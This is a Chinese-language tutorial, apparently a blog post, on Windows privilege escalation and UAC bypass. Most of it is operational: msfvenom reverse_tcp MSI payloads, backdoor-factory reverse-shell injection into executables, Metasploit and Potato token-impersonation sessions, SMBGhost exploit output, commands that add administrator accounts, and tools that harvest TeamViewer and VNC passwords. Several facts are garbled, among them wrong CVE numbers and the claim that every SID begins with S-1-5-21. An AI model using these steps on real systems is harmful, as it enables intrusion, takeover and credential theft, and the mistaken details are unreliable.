[toc]
0x01.windows提权基本介绍
1.提权分类
纵向提权
低权限角色获取高权限角色的权限
横向提权
获取同级别角色的权限
常用提权方法
- 系统内核溢出漏洞提权
- 数据库提权
- 错误的系统配置提权
- 组策略首选项提权
- Web中间件漏洞提权
- DLL劫持提权
- 滥用高危权限令牌提权
- 第三方软件/服务提权
2.安全标识符(SID)
安全标识符(SID)是Windows操作系统使用的独一无二的,不变的标识符用于标识用户、用户群、或其他安全主体.操作系统也是通过SID来识别用户的,并不是所谓的用户名
安全标识符一经产生,不会与全世界任何的安全标识符重复;也不随用户更名而变化。如果删除了用户帐户,然后再创建同名帐户,则产生的安全标识符是不同的。
查询自己的SID可以通过:whoami /user
C:\Users\domain7>whoami /all
用户信息
----------------
用户名 SID
=========== ============================================
lab\domain7 S-1-5-21-723313317-361214456-4023511650-1103
....
查询其他用户的SID可以通过WMI命令查询:wmic useraccount where name="%username%" get sid
所有的SID都以S-1-5-21
开头,否则将是唯一的。Windows中管理员帐户的SID始终以500结尾。 Guest帐户的SID总是以501结尾。您还可以在每个与特定内置帐户相对应的Windows安装中找到SID。例如,S-1-5-18
SID可以在您遇到的任何Windows副本中找到,并对应于LocalSystem
帐户,即在用户登录之前在Windows中加载的系统帐户。
以下是用户SID的示例: S-1-5-21-1180699209-877415012-3182924384-1004
。 SID是我家用电脑上的帐户号码 - 您的帐号会有所不同。
常见的SID列表:
- S-1-5-18 (LocalSystem)
- S-1-5-19 (LocalService)
- S-1-5-20 (NetworkService)
- S-1-5-32-544 (Administrators)
- S-1-5-32-545 (Users)
- S-1-5-32-550 (PrintOperators)
3.UAC
用户账户控制UAC:UAC 是 win10 操作系统中非常重要的安全功能,它起源于 windows vista 操作系统,流行于windows7、windows8。各种功能策略得到了完善的修订和开发,应用在win10操作系统中,目的是减少恶意软件对系统的侵害(比如大部分的恶意软件、木马病毒、广告插件在进入计算机是都会有如下操作:文件复制到到windows目录,安装驱动,安装activex等操作)。
操作系统默认情况下是启用UAC,当用户运行软件就会触发UAC规则。执行的时候就需要权限,否则是不会运行的。
不涉及到更改计算机操作的项目是不会触发UAC规则的,能够触发UAC规则的常用操作包括以下内容:
- 运行应用程序
- 修改注册表文件
- 安装或者卸载程序
- 安装设备驱动程序
- 增加或者删除用户账户
- 复制文件到windows目录
用户操作以上内容时就会触发UAC规则,系统会弹出提示对话框。简单来说,弹出对话框操作就是临时提升用户权限,允许程序运行。
UAC的实现
-
ACL (Access Control List) : Windows中所有资源都有ACL ,这个列表决定了拥有何种权限的用户/进程能够这个资源。
-
在开启了UAC之后,如果用户是标准用户,Windows会给用户分配一个标准Access Token
-
如果用户以管理员权限登陆,会生成两份访问令牌,一份是完整的管理员访问令牌(Full Access Token),一份是标准用户令牌。一般情况下会以标准用户权限启动
Explorer.exe
进程。如果用户同意,则赋予完整管理员权限访问令牌进行操作。 -
可以使用
whoami /priv
看当前的权限
4.提权的基础命令
net user
查看用户数量whoami /priv
查看用户权限quser
查看在线用户
tasklist
查看当前进程net user a a /add
添加用户net localgroup administrators a /add
添加用户到组
0x02.UAC绕过思路
1.Akagi工具获取UAC权限
项目地址:https://github.com/hfiref0x/UACME
下载后进行编译
调用直接运行cmd。绕过uac启动管理员权限的cmd
2.MSF获取UAC权限
msf > use exploit/windows/local/bypassuac
msf > set session 1
msf > exploit
没有使用bypassuac这个模块的session,进入shell创建用户
可以看见无法创建新用户,被拒绝
使用bypassuac重新获取到一个session之后,在进入shell创建用户
成功创建
3.msi文件直接获取超级管理员权限
我们可以使用msf生成一个msi文件,在windows中,msi文件会以高级管理员权限运行,上线之后的权限就是system.
前提是目标系统上启用AlwaysInstallElevated这个策略
AlwaysInstallElevated
是一个策略设置,当在系统中使用Windows Installer
安装任何程序时,该参数允许非特权用户以system权限运行明msi文件。如果目标系统上启用了这一设置,我们可以使用msf生成msi文件以system权限执行任意payload。
-
首先生成payload
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.50.137 -f msi -o winx64TCPPayload.msi
当用户下载该msi执行后,就能获取到system权限
-
msf监听获取shell
msf6 exploit(windows/local/bypassuac) > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > exploit
msf集成了漏洞利用模块:
exploit/windows/local/always_install_elevated
msf6 exploit(multi/handler) > use exploit/windows/local/always_install_elevated
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/always_install_elevated) > show options
Module options (exploit/windows/local/always_install_elevated):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.50.137 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
4.dll后门注入绕过UAC
使用文件绑定形式绑定flash.exe
copy /b+ a.exe+b.exe c.exe
使用backdoor这款工具注入dll或者exe the-backdoor-factory
./backdoor.py -f /root/test.exe -H 192.168.50.137 -P 4444 -s reverse_shell_tcp_inline
如果不知道使用什么后门,可以直接让程序自己判断
./backdoor.py -f /root/test.exe -H 192.168.50.137 -P 4444
5.计划任务提权
在Windows中可以利用计划任务覆盖原有的程序来进行替换
可以使用如下命令查看计算机上的计划任务。
schtasks /query /fo LIST /v
使用如下命令可以查看指定目录的权限配置情况。如果我们对以高权限运行的任务所在目录具有写入权限,就可以使用恶意程序覆盖掉原来的程序。当计划任务下次执行时,就会以高权限运行恶意程序,进而完成提权。
accesschk.exe -dqv "D:test" -accepteula
6.Windows10 以下通杀提权
CVE-2019-1468是Win32特权提升漏洞,可以直接提权windows10以下版本
盖提权可能导致蓝屏的问题
https://github.com/unamer/CVE-2019-1458
7.JuicyPotato2.exe提权
利用MS16-075漏洞来进行提权
FoxGlove公布(https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075)的potato及Tate(https://github.com/Kevin-Robertson/Tater)公布的Tater.ps1利用程序。
- potato
msf exploit(web_delivery) > set ExitOnsession false
msf exploit(web_delivery) > run
meterpreter > getuid
Server username: IIS APPPOOL\DefaultAppPool
meterpreter > getprivs
===========================================================
Enabled Process Privileges
===========================================================
SeAssignPrimaryTokenPrivilege
meterpreter > upload /root/potato.exe C:\Users\Public
meterpreter > cd C:\\Users\\Public
meterpreter > use incognito
meterpreter > list_tokens -u
NT AUTHORITY\IUSR
meterpreter > execute -cH -f ./potato.exe
meterpreter > list_tokens -u
NT AUTHORITY\IUSR
NT AUTHORITY\SYSTEM
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
8.其他
- cve-2017-0213提权,windows com特权提升漏洞组件
- cve-2021-0796 windows 10本地提权漏洞, 通过SMB协议,直接远程命令执行(https://github.com/chompie1337/SMBGhost_RCE_PoC)
$SMBGhost_RCE_PoC python exploit.py -ip 192.168.142.131
[+] found low stub at phys addr 13000!
[+] PML4 at 1ad000
[+] base of HAL heap at fffff79480000000
[+] ntoskrnl entry at fffff80645792010
[+] found PML4 self-ref entry 1eb
[+] found HalpInterruptController at fffff79480001478
[+] found HalpApicRequestInterrupt at fffff80645cb3bb0
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff5fbc0000000
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff78000000a00!
[+] Press a key to execute shellcode!
[+] overwrote HalpInterruptController pointer, should have execution shortly...
0x03.漏洞提权
1.漏洞提权思路
- 执行systeminfo命令查看是否出资按漏洞补丁
systeminfo > 1.txt
- 使用工具网站
https://i.hacking8.com/tiquan
2.第三方软件提权
-
3389远程桌面
-
Teamviewer
通过工具sharpDecryptPwd.exe
收集teamviewer的id和密码
-
vnc-控制桌面
通过工具LaZagne获取vnc的密码
-
filezilla-权限较高
-
sql server-sa权限